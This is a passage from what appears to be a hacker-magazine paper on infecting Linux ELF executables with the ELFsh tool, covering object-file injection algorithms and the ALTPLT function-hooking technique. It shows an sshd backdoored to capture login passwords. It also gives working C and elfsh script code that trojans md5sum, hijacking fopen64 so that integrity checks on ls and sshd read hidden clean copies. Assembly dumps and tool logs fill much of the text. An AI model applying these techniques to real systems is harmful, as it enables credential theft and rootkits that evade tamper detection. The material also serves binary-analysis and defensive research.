The implementation has the cool advantage of -NOT- having to move
|
|
the original executable address space, so that no relocation of
|
|
the original code is needed. In other words, only the .o object
|
|
sections are relocated and we can be sure that no false positive
|
|
relocation is possible (e.g. we -DO NOT- have to find all
|
|
references in the sshd code and patch them because the address
|
|
space changed).
|
|
|
|
This is the injected code section's assembly dump, which contains
|
|
the mycrypt function:
|
|
|
|
|
|
-----BEGIN EXAMPLE 12-----
|
|
$ elfsh -f sshd.new -q -D mycrypt.o.text
|
|
|
|
080470F4 mycrypt.o.text + 0 push %ebp
|
|
080470F5 mycrypt.o.text + 1 mov %esp,%ebp
|
|
080470F7 mycrypt.o.text + 3 sub $8,%esp
|
|
080470FA mycrypt.o.text + 6 mov $2,<bssvar>
|
|
08047104 mycrypt.o.text + 16 mov <bssvar>,%eax
|
|
08047109 mycrypt.o.text + 21 push %eax
|
|
0804710A mycrypt.o.text + 22 mov <glvar>,%eax
|
|
0804710F mycrypt.o.text + 27 push %eax
|
|
08047110 mycrypt.o.text + 28 mov 8(%ebp),%eax
|
|
08047113 mycrypt.o.text + 31 push %eax
|
|
08047114 mycrypt.o.text + 32 push $<mycrypt.o.rodata>
|
|
08047119 mycrypt.o.text + 37 call <printf>
|
|
0804711E mycrypt.o.text + 42 add $10,%esp
|
|
08047121 mycrypt.o.text + 45 add $0xFFFFFFF4,%esp
|
|
08047124 mycrypt.o.text + 48 push $0
|
|
08047126 mycrypt.o.text + 50 call <exit>
|
|
0804712B mycrypt.o.text + 55 add $10,%esp
|
|
0804712E mycrypt.o.text + 58 lea 0(%esi),%esi
|
|
08047134 mycrypt.o.text + 64 leave
|
|
08047135 mycrypt.o.text + 65 ret
|
|
-----END EXAMPLE 12-----
|
|
|
|
|
|
Lets test our new sshd:
|
|
|
|
|
|
$ ssh mayhem@localhost
|
|
Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
|
|
mayhem@localhost's password: <--- type your passwd
|
|
Connection closed by 127.0.0.1
|
|
$
|
|
|
|
|
|
Let's verify on the server side what happened:
|
|
|
|
|
|
$ ./sshd.new -d
|
|
debug1: Seeding random number generator
|
|
debug1: sshd version OpenSSH_3.0.2p1
|
|
debug1: private host key: #0 type 0 RSA1
|
|
debug1: read PEM private key done: type RSA
|
|
debug1: private host key: #1 type 1 RSA
|
|
debug1: read PEM private key done: type DSA
|
|
debug1: private host key: #2 type 2 DSA
|
|
debug1: Bind to port 22 on 0.0.0.0.
|
|
Server listening on 0.0.0.0 port 22.
|
|
debug1: Server will not fork when running in debugging mode.
|
|
Connection from 127.0.0.1 port 40619
|
|
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
|
|
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
|
|
Enabling compatibility mode for protocol 2.0
|
|
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
|
|
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
|
|
debug1: list_hostkey_types: ssh-rsa,ssh-dss
|
|
debug1: SSH2_MSG_KEXINIT sent
|
|
debug1: SSH2_MSG_KEXINIT received
|
|
debug1: kex: client->server aes128-cbc hmac-md5 none
|
|
debug1: kex: server->client aes128-cbc hmac-md5 none
|
|
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
|
|
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
|
|
debug1: dh_gen_key: priv key bits set: 127/256
|
|
debug1: bits set: 1597/3191
|
|
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
|
|
debug1: bits set: 1613/3191
|
|
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
|
|
debug1: kex_derive_keys
|
|
debug1: newkeys: mode 1
|
|
debug1: SSH2_MSG_NEWKEYS sent
|
|
debug1: waiting for SSH2_MSG_NEWKEYS
|
|
debug1: newkeys: mode 0
|
|
debug1: SSH2_MSG_NEWKEYS received
|
|
debug1: KEX done
|
|
debug1: userauth-request for user mayhem service ssh-connection method \
|
|
none
|
|
debug1: attempt 0 failures 0
|
|
Failed none for mayhem from 127.0.0.1 port 40619 ssh2
|
|
debug1: userauth-request for user mayhem service ssh-connection method \
|
|
publickey
|
|
debug1: attempt 1 failures 1
|
|
debug1: test whether pkalg/pkblob are acceptable
|
|
debug1: temporarily_use_uid: 1000/31337 (e=0)
|
|
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
|
|
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
|
|
debug1: restore_uid
|
|
Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2
|
|
debug1: userauth-request for user mayhem service ssh-connection method \
|
|
keyboard-interactive
|
|
debug1: attempt 2 failures 1
|
|
debug1: keyboard-interactive devs
|
|
debug1: auth2_challenge: user=mayhem devs=
|
|
debug1: kbdint_alloc: devices ''
|
|
Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2
|
|
debug1: userauth-request for user mayhem service ssh-connection method \
|
|
password
|
|
debug1: attempt 3 failures 2
|
|
.:: crypt redirected -key- = mytestpasswd (42 .::. 2)
|
|
$
|
|
|
|
|
|
Fine. If you want extreme details on the implementation, please
|
|
read the ELFsh code, particulary libelfsh/relinject.c. For the
|
|
academic audience, the pseudo-code algorithms are provided.
|
|
Because ET_REL injection is based on BSS and Symbol table fusion,
|
|
section pre-interp injection, section post-bss injection,
|
|
SHT shifting, SHT entry insertion, symbol injection, and section
|
|
data injection, all those algorithms are also available. The BSS
|
|
physical insertion is performed only once, at the first use of
|
|
post-bss injection. The general algorithm for ET_REL injection is
|
|
as follow:
|
|
|
|
|
|
1/ Fuse ET_REL and ET_EXEC .bss sections
|
|
2/ Find and inject ET_REL allocatable sections into ET_EXEC
|
|
3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
|
|
4/ Relocate each injected section if its .rel(a) table is available
|
|
|
|
|
|
Now let's give some details ;)
|
|
|
|
|
|
--------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.
|
|
|
|
|
|
1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)
|
|
|
|
2/ FOREACH section in ET_REL object
|
|
[
|
|
IF section is a/ allocatable (sh_flags & SHF_ALLOC)
|
|
b/ non-null sized (sh_size != 0)
|
|
c/ data-typed (sh_type == SHT_PROGBITS)
|
|
[
|
|
|
|
IF section is writable -or- OS is FreeBSD
|
|
[
|
|
- Inject post-bss section into ET_EXEC
|
|
]
|
|
ELSE
|
|
[
|
|
- Inject pre-interp section into ET_EXEC
|
|
]
|
|
]
|
|
]
|
|
|
|
3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)
|
|
|
|
4/ FOREACH section in ET_REL object
|
|
[
|
|
IF a/ section has been injected in 2. (same conditions)
|
|
b/ section needs relocation (.rel.sctname is found in ET_REL)
|
|
[
|
|
- Relocate the section
|
|
]
|
|
]
|
|
|
|
|
|
--------[ BSS fusion algorithm
|
|
|
|
|
|
- Insert ET_EXEC BSS physically if not already done (see next algo)
|
|
FOREACH symbol from the ET_REL object
|
|
[
|
|
IF symbol points into the BSS (st_shndx & SHN_COMMON)
|
|
[
|
|
WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
|
|
[
|
|
- Increment by 1 the .bss size field (sh_size)
|
|
]
|
|
- Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
|
|
- Add symbol size to ET_EXEC .bss size (sh_size)
|
|
]
|
|
]
|
|
|
|
|
|
---------[ BSS physical insertion algorithm
|
|
|
|
|
|
FOREACH PHT entry
|
|
[
|
|
IF a/ segment is loadable (p_type == PT_LOAD)
|
|
b/ segment is writable (p_flags & PF_W)
|
|
[
|
|
- Put p_memsz value into p_filesz
|
|
- End of algorithm
|
|
]
|
|
]
|
|
|
|
|
|
--------[ Symbol Tables fusion algorithm
|
|
|
|
|
|
FOREACH symbol in ET_REL object
|
|
[
|
|
IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
|
|
[
|
|
- Get parent section for this symbol using st_shndx field
|
|
IF Parent section has been injected in 2. (same conditions)
|
|
[
|
|
- Add section's base address to the symbol value
|
|
- Inject new symbol into ET_EXEC
|
|
]
|
|
]
|
|
]
|
|
|
|
|
|
--------[ Section pre-interp injection algorithm
|
|
|
|
- Compute section size congruent with page size
|
|
- Create new section's header
|
|
- Inject section header (see SHT header insertion algorithm)
|
|
FOREACH PHT entry
|
|
[
|
|
IF a/ segment type is loadable (p_type == PT_LOAD)
|
|
b/ segment is executable (p_flags & PF_X)
|
|
[
|
|
- Add section's size to p_filesz and p_memsz
|
|
- Substract section's size from p_vaddr and p_paddr
|
|
]
|
|
ELSE IF segment type is PT_PHDR
|
|
[
|
|
- Substract section's size from p_vaddr and p_paddr
|
|
]
|
|
ELSE
|
|
[
|
|
- Add section's size to p_offset
|
|
]
|
|
]
|
|
- Shift SHT (see algorithm below)
|
|
|
|
|
|
---------[ Section post-bss injection algorithm
|
|
|
|
|
|
- Create new section's header
|
|
- Inject section header (see SHT header insertion algorithm)
|
|
FOREACH PHT entry
|
|
[
|
|
IF a/ segment is loadable (p_type == PT_LOAD)
|
|
b/ segment is writable (p_flags & PF_W)
|
|
[
|
|
- Add section's size to p_memsz and p_filesz
|
|
- End of algorithm
|
|
]
|
|
]
|
|
- Shift SHT by the section size (see next algorithm)
|
|
|
|
|
|
---------[ SHT shifting algorithm
|
|
|
|
|
|
FOREACH SHT entry
|
|
[
|
|
IF current linked section (sh_link) points after new section
|
|
[
|
|
- Increment by 1 the sh_link field
|
|
]
|
|
IF current file offset > injected section file offset
|
|
[
|
|
- Add injected section sh_size to current sh_offset
|
|
]
|
|
]
|
|
|
|
|
|
---------[ SHT header insertion algorithm
|
|
|
|
|
|
- Insert new section's name into .shstrtab
|
|
- Insert new entry in SHT at requested range
|
|
- Increment by 1 the e_shnum field in ELF header
|
|
FOREACH SHT entry
|
|
[
|
|
IF current entry file offset is after SHT file offset
|
|
[
|
|
- Add e_shentsize from ELF header to current sh_offset
|
|
]
|
|
]
|
|
IF injected section header sh_offset <= SHT file offset
|
|
[
|
|
- Add new section size (sh_size) to e_shoff field in ELF header
|
|
]
|
|
IF requested new section range <= section string table index
|
|
[
|
|
- Increment sh_strndx field in ELF header
|
|
]
|
|
|
|
|
|
---------[ Symbol injection algorithm
|
|
|
|
|
|
- Insert symbol name into .strtab section
|
|
- Insert symbol entry into .symtab section
|
|
|
|
|
|
---------[ Section data injection algorithm (apply to all type of section)
|
|
|
|
|
|
- Insert data into section
|
|
- Add injected data size to section's sh_size
|
|
IF SHT file offset > section file offset
|
|
[
|
|
- Add injected data size to e_shoff in ELF header
|
|
]
|
|
FOREACH SHT entry
|
|
[
|
|
IF current entry sh_offset field > extended section file offset
|
|
[
|
|
IF current entry sh_addr field is non-null
|
|
[
|
|
- Add injected data size to sh_addr
|
|
]
|
|
- Add injected data size to sh_offset
|
|
]
|
|
]
|
|
IF extended section sh_addr is non-null
|
|
[
|
|
FOREACH symbol table entry
|
|
[
|
|
IF symbol points after extended section former upper bound
|
|
[
|
|
- Add injected data size to st_value field
|
|
]
|
|
]
|
|
]
|
|
|
|
|
|
The relocation (step 4) algorithm wont be detailed, because it is
|
|
already all explained in the ELF reference. In short, the relocation
|
|
process consists in updating all the addresses references in the
|
|
injected ET_REL code, using the available merged symbol tables in
|
|
the ET_EXEC file. There are 12 relocation types on INTEL and 56
|
|
relocations types on SPARC, however, only 2 types are mostly used on
|
|
INTEL, and only 3 on SPARC for ET_REL objects.
|
|
|
|
This last stage is a switch/case based algorithm, which has in
|
|
charge to update some bytes, many times, in each injected mapped
|
|
section. The relocation tables contains all the information necessary
|
|
for this operation, their name is .rel.<target> (or .rela.<target> on
|
|
SPARC), with <target> beeing the section which is going to be
|
|
relocated using this table). Those sections can be easily found just
|
|
parsing the SHT and looking for sections whoose st_type is SHT_REL
|
|
(or SHT_RELA on SPARC).
|
|
|
|
What makes the ELFsh relocation engine powerful, is the using of both
|
|
symbol table (.symtab and .dynsym), which means that the injected
|
|
code can resolve symbols from the executable itself, e.g. it is
|
|
possible to call the core functions of the executable, as well
|
|
as existing .plt entries from the backdoor code, if their symbol
|
|
value is available. For more details about the relocation step,
|
|
please look at the ELFsh code in libelfsh/relinject.c, particulary
|
|
at the elfsh_relocate_i386 and and elfsh_relocate_sparc.
|
|
|
|
As suggested in the previous paragraph, ELFsh has a limitation since
|
|
it is not possible to call functions not already present in the
|
|
binary. If we want to call such functions, we would have to add
|
|
information for the dynamic linker, so that the function address can
|
|
be resolved in runtime using the standard GOT/PLT mechanism. It
|
|
would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash
|
|
extensions, which is not trivial when we dont want to move the
|
|
binary data and code zones from their original addresses.
|
|
|
|
Since relocation information is not available for ET_EXEC ELF
|
|
objects, we woulnt be sure that our reconstructed relocation
|
|
information would be 100% exact, without having a very strong and
|
|
powerful dataflow analysis engine. This was proved by modremap
|
|
(modules/modremap.c) written by spacewalkr, which is a
|
|
SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder
|
|
(vm/findrel.c), this module can remap a ET_EXEC binary in another
|
|
place of the address space. This is known to work for /bin/ls and
|
|
various /bin/* but bigger binaries like ssh/sshd cannot be relocated
|
|
using this technique, because valid pointers double words are not
|
|
always real pointers in such bins (false positives happen in hash
|
|
values).
|
|
|
|
For this reason, we dont want to move ET_EXEC section's from their
|
|
original place. Instead, it is probably possible to add extra
|
|
sections and use big offsets from the absolute addresses stored
|
|
into .dynamic, but this feature is not yet provided. A careful
|
|
choice of external functions hijacking is usually enough to get rid
|
|
of the non-present symbol problem, even if this 'extra-function
|
|
resolving' feature will probably be implemented in the future. For
|
|
some sections like .hash, it may be necessary to do a copy of the
|
|
original section after .bss and change the referenced address in
|
|
the .dynamic section, so that we can extend the hash without moving
|
|
any original code or data.
|
|
|
|
|
|
-------[ 4. Infection : ALTPLT technique
|
|
|
|
|
|
Now that we have a decent residency technique in ET_REL injection,
|
|
let's focus on a new better infection technique than GOT redirection
|
|
and PLT infection : the ALTPLT technique. This new technique takes
|
|
advantage of the symbol based function address resolving of the
|
|
previous technique, as detailed below.
|
|
|
|
ALTPLT is an improvement of PLT infection technique. Silvio Cesare
|
|
describes how to modify the .plt section, in order to redirect
|
|
function calls to library onto another code, so called the hook
|
|
code. From [4], the algorithm of original .plt infection:
|
|
|
|
|
|
-----%<-------%<--------%<---------%<----------%<--------%<---------
|
|
|
|
'' The algorithm at the entry point code is as follows...
|
|
|
|
* mark the text segment writable
|
|
* save the PLT(GOT) entry
|
|
* replace the PLT(GOT) entry with the address of the new libcall
|
|
|
|
The algorithm in the new library call is as follows...
|
|
|
|
* do the payload of the new libcall
|
|
* restore the original PLT(GOT) entry
|
|
* call the libcall
|
|
* save the PLT(GOT) entry again (if it is changed)
|
|
* replace the PLT(GOT) entry with the address of the new libcall ''
|
|
|
|
-----%<-------%<--------%<---------%<----------%<--------%<---------
|
|
|
|
The implementation of such an algorithm was presented in x86
|
|
assembly language using segment padding residency. This technique
|
|
is not enough because:
|
|
|
|
1/ It is architecture dependant
|
|
2/ Strict segments rights may not be kept consistant (PaX unsafe)
|
|
3/ The general layout of the technique lacks a formal interface
|
|
|
|
The new ALTPLT technique consists of copying the Procedure Linkage
|
|
Table (.plt) to an alternative section, called .orig.plt, using a
|
|
pre-interp injection, so that it resides in the read-only code
|
|
segment. For each entry of the .orig.plt, we create and inject a
|
|
new reference symbol, which name the same as the .plt entry symbol
|
|
at the same index, except that it starts by 'old_'.
|
|
|
|
Using this layout, we are able to perform standard PLT infection on
|
|
the original .plt section, but instead of having a complex
|
|
architecture dependant hook code, we use an injected function
|
|
residing in hook.o.text, which is the text section of an ET_REL
|
|
module that was injected using the technique described in the
|
|
previous part of the paper.
|
|
|
|
This way, we can still call the original function using
|
|
old_funcname(), since the injected symbol will be available for
|
|
the relocation engine, as described in the ET_REL injection
|
|
algorithm ;).
|
|
|
|
We keep the GOT/PLT mechanism intact and we rely on it to provide
|
|
a normal function address resolution, like in every dynamic
|
|
executable files. The .got section will now be unique for both .plt
|
|
and .orig.plt sections. The added section .orig.plt is a strict copy
|
|
of the original .plt, and will not ever be overwritten. In other
|
|
words, .orig.plt is PaX safe. The only difference will be that
|
|
original .plt entries may not use .got, but might be redirected on
|
|
another routine using a direct branchement instruction.
|
|
|
|
Let's look at an example where the puts() function is hijacked, and
|
|
the puts_troj() function is called instead.
|
|
|
|
|
|
On INTEL:
|
|
|
|
|
|
-----BEGIN EXAMPLE 13-----
|
|
old_puts + 0 jmp *<_GLOBAL_OFFSET_TABLE_ + 20> FF 25 00 97 04 08
|
|
old_puts + 6 push $10 68 10 00 00 00
|
|
old_puts + 11 jmp <old_dlresolve> E9 C0 FF FF FF
|
|
|
|
puts + 0 jmp <puts_troj> E9 47 ED FF FF
|
|
puts + 5 or %ch,10(%eax) 08 68 10
|
|
puts + 8 add %al,(%eax) 00 00
|
|
puts + 10 add %ch,%cl 00 E9
|
|
puts + 12 sar $FF,%bh C0 FF FF
|
|
puts + 15 (bad) %edi FF FF
|
|
-----END EXAMPLE 13-----
|
|
|
|
|
|
On SPARC:
|
|
|
|
|
|
-----BEGIN EXAMPLE 14-----
|
|
old_puts + 0 sethi %hi(0xf000), %g1 03 00 00 3c
|
|
old_puts + 4 b,a e0f4 <func2+0x1e0c> 30 bf ff f0
|
|
old_puts + 8 nop 01 00 00 00
|
|
|
|
puts + 0 jmp %g1 + 0xf4 ! <puts_troj> 81 c0 60 f4
|
|
puts + 4 nop 01 00 00 00
|
|
puts + 8 sethi %hi(0x12000), %g1 03 00 00 48
|
|
-----END EXAMPLE 14-----
|
|
|
|
|
|
This is the only architecture dependant operation in the ALTPLT
|
|
algorithm. It means that this feature can be implemented very easily
|
|
for other processors as well. However, on SPARC there is one more
|
|
modification to do on the first entry of the .orig.plt section.
|
|
Indeed, the SPARC architecture does not use a Global Offset Table
|
|
(.got) for function address resolving, instead the .plt section is
|
|
directly modified at dynamic linking time. Except for this
|
|
difference, the SPARC .plt works just the same as INTEL .plt (both
|
|
are using the first .plt entry each time, as explained in the ELF
|
|
reference).
|
|
|
|
For this reason, we have to modify the first .orig.plt entry to make
|
|
it point on the first .plt entry (which is patched in runtime before
|
|
the main() function takes control). In order to patch it, we need to
|
|
use a register other than %g1 (since this one is used by the dynamic
|
|
linker to identify the .plt entry which has to be patched), for
|
|
example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).
|
|
|
|
Patched first .orig.plt entry on SPARC:
|
|
|
|
|
|
-----BEGIN EXAMPLE 15-----
|
|
.orig.plt sethi %hi(0x20400), %g2 05 00 00 81
|
|
.orig.plt jmp %g2 + 0x2a8 ! <.plt> 81 c0 a2 a8
|
|
.orig.plt nop 01 00 00 00
|
|
-----END EXAMPLE 15-----
|
|
|
|
|
|
The reason for NOP instructions after the branching instruction
|
|
(jmp) is because of SPARC delay slot. In short, SPARC branchement
|
|
is done in such way that it changes the NPC register (New Program
|
|
Counter) and not the PC register, and the instruction after a
|
|
branching one is executed before the real branchement.
|
|
|
|
Let's use a new example which combines ET_REL injection and ALTPLT
|
|
infection this time (instead of GOT redirection, like in the previous
|
|
sshd example). We will modify md5sum so that access to /bin/ls and
|
|
/usr/sbin/sshd is redirected. In that case, we need to hijack the
|
|
fopen64() function used by md5sum, swap the real path with the
|
|
backup path if necessary, and call the original fopen64 as if
|
|
nothing had happened:
|
|
|
|
|
|
-----BEGIN EXAMPLE 16-----
|
|
$ cat md16.esh
|
|
#!/usr/bin/elfsh
|
|
|
|
load /usr/bin/md5sum
|
|
load test.o
|
|
|
|
# Add test.o into md5sum
|
|
reladd 1 2
|
|
|
|
# Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
|
|
redir fopen64 fopen64_troj
|
|
|
|
save md5sum.new
|
|
quit
|
|
$ chmod +x md16.esh
|
|
$
|
|
-----END EXAMPLE 16-----
|
|
|
|
|
|
Let's look at the injected code. Because the strcmp() libc
|
|
function is not used by md5sum and therefore its symbol is not
|
|
available in the binary, we have to copy it in the module
|
|
source:
|
|
|
|
|
|
-----BEGIN EXAMPLE 17-----
|
|
$ cat test.c
|
|
#include <stdlib.h>
|
|
|
|
#define HIDDEN_DIR "/path/to/hidden/dir"
|
|
#define LS "/bin/ls"
|
|
#define SSHD "/usr/sbin/sshd"
|
|
#define LS_BAQ "ls.baq"
|
|
#define SSHD_BAQ "sshd.baq"
|
|
|
|
int mystrcmp(char *str1, char *str2)
|
|
{
|
|
u_int cnt;
|
|
|
|
for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
|
|
if (str1[cnt] != str2[cnt])
|
|
return (str1[cnt] - str2[cnt]);
|
|
return (str1[cnt] - str2[cnt]);
|
|
}
|
|
|
|
int fopen64_troj(char *str1, char *str2)
|
|
{
|
|
if (!mystrcmp(str1, LS))
|
|
str1 = HIDDEN_DIR "/" LS_BAQ;
|
|
else if (!mystrcmp(str1, SSHD))
|
|
str1 = HIDDEN_DIR "/" SSHD_BAQ;
|
|
return (old_fopen64(str1, str2));
|
|
}
|
|
$ gcc test.c -c
|
|
$
|
|
-----END EXAMPLE 17-----
|
|
|
|
|
|
For this last example, the full relinking information
|
|
will be printed on stdout, so that the reader can enjoy
|
|
all the details of the implementation:
|
|
|
|
|
|
-----BEGIN EXAMPLE 18-----
|
|
$
|
|
|
|
Welcome to The ELF shell 0.5b9 .::.
|
|
|
|
.::. This software is under the General Public License
|
|
.::. Please visit http://www.gnu.org to know about Free Software
|
|
|
|
~load /usr/bin/md5sum
|
|
[*] New object /usr/bin/md5sum loaded on Sat Aug 2 16:16:32 2003
|
|
|
|
~exec cc test.c -c
|
|
[*] Command executed successfully
|
|
|
|
~load test.o
|
|
[*] New object test.o loaded on Sat Aug 2 16:16:32 2003
|
|
|
|
~reladd 1 2
|
|
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
|
|
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text [080470F4]
|
|
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata [080460F4]
|
|
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt [080450F4]
|
|
[DEBUG_RELADD] Injected symbol old_dlresolve [080450F4]
|
|
[DEBUG_RELADD] Injected symbol old_ferror [08045104]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_strchr [08045114]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_feof [08045124]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old___register_frame_info [08045134]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old___getdelim [08045144]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_fprintf [08045154]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_fflush [08045164]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_dcgettext [08045174]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_setlocale [08045184]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old___errno_location [08045194]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_puts [080451A4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_malloc [080451B4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_fread [080451C4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_bindtextdomain [080451E4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_fputs [080451F4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old___libc_start_main [08045204]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_realloc [08045214]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_textdomain [08045224]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_printf [08045234]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_memcpy [08045244]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_fclose [08045254]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_getopt_long [08045264]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_fopen64 [08045274]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_exit [08045284]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_calloc [08045294]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old__IO_putc [080452A4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_free [080452B4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
|
|
[DEBUG_RELADD] Injected symbol old_error [080452C4]
|
|
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
|
|
[DEBUG_RELADD] Entering intermediate symbol injection loop
|
|
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp [080470F4]
|
|
[DEBUG_RELADD] Injected symbol mystrcmp [080470F4]
|
|
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj [08047188]
|
|
[DEBUG_RELADD] Injected symbol fopen64_troj [08047188]
|
|
[DEBUG_RELADD] Entering final relocation loop
|
|
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460F4]
|
|
[DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4]
|
|
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460FC]
|
|
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046117]
|
|
[DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4]
|
|
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046126]
|
|
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
|
|
[*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum
|
|
|
|
~redir fopen64 fopen64_troj
|
|
[*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>
|
|
|
|
~save md5sum.new
|
|
[*] Object md5sum.new save successfully
|
|
|
|
~quit
|
|
[*] Unloading object 1 (test.o)
|
|
[*] Unloading object 2 (/usr/bin/md5sum) *
|
|
|
|
Good bye ! .::. The ELF shell 0.5b9
|
|
$
|
|
-----END EXAMPLE 18-----
|
|
|
|
|
|
As shown in the script output, the new file has got new
|
|
symbols (the old symbols). Let's observe them using the
|
|
elfsh '-sym' command and the regex capability ('old') :
|
|
|
|
|
|
-----BEGIN EXAMPLE 19-----
|
|
$ elfsh -q -f md5sum.new -sym old
|
|
[SYMBOL TABLE]
|
|
[Object md5sum.new]
|
|
|
|
[27] 0x80450f4 FUNC old_dlresolve sz:16 scop:Local
|
|
[28] 0x8045104 FUNC old_ferror sz:16 scop:Local
|
|
[29] 0x8045114 FUNC old_strchr sz:16 scop:Local
|
|
[30] 0x8045124 FUNC old_feof sz:16 scop:Local
|
|
[31] 0x8045134 FUNC old___register_frame_info sz:16 scop:Local
|
|
[32] 0x8045144 FUNC old___getdelim sz:16 scop:Local
|
|
[33] 0x8045154 FUNC old_fprintf sz:16 scop:Local
|
|
[34] 0x8045164 FUNC old_fflush sz:16 scop:Local
|
|
[35] 0x8045174 FUNC old_dcgettext sz:16 scop:Local
|
|
[36] 0x8045184 FUNC old_setlocale sz:16 scop:Local
|
|
[37] 0x8045194 FUNC old___errno_location sz:16 scop:Local
|
|
[38] 0x80451a4 FUNC old_puts sz:16 scop:Local
|
|
[39] 0x80451b4 FUNC old_malloc sz:16 scop:Local
|
|
[40] 0x80451c4 FUNC old_fread sz:16 scop:Local
|
|
[41] 0x80451d4 FUNC old___deregister_frame_info sz:16 scop:Local
|
|
[42] 0x80451e4 FUNC old_bindtextdomain sz:16 scop:Local
|
|
[43] 0x80451f4 FUNC old_fputs sz:16 scop:Local
|
|
[44] 0x8045204 FUNC old___libc_start_main sz:16 scop:Local
|
|
[45] 0x8045214 FUNC old_realloc sz:16 scop:Local
|
|
[46] 0x8045224 FUNC old_textdomain sz:16 scop:Local
|
|
[47] 0x8045234 FUNC old_printf sz:16 scop:Local
|
|
[48] 0x8045244 FUNC old_memcpy sz:16 scop:Local
|
|
[49] 0x8045254 FUNC old_fclose sz:16 scop:Local
|
|
